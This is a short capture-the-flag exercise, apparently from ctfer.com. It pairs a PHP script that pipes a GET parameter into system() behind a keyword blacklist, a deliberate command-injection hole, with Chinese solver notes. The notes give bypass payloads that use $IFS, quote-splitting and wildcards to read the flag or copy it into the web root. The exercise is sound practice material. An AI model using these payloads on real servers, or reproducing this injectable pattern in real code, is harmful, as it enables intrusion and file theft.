<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题需要注意的是没有过滤 $ ,要认真观察
?c=nl$IFS/fla''g||
?c=nl${IFS}/fla''g||
一定要加 / 不然出不来,不知道为什么
tac不能用,不知道为什么
?c=cp${IFS}/fl?g${IFS}/var/www/html/a.txt||
或
?c=cp$IFS//fl?g$IFS//var/www/html/a.txt||
a.txt
用cp不能mv
|